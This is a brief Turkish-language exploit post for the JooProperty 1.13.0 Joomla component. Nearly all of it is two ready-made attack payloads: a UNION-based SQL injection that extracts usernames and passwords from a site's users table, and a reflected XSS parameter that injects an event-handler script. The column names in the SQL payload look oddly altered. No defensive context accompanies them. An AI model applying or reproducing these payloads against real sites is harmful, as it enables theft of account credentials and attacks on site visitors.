JooProperty 1.13.0'da açık var.
xss ve sql injection açıkları var.
Attack Pattern Sql:
-{Valid id}%20and%201=0%20union%20select%201,(select group_concat(usernamenedir,0x3D,passwordnediryaa)% 20from%20dy978_users)+--+D4NB4R
/////////
Attack Pattern Xss:
?layout=modal&option=com_jooproperty&product_id=" onmouseover%3dprompt() bad%3d"&view=booking
sanırım bunlar =)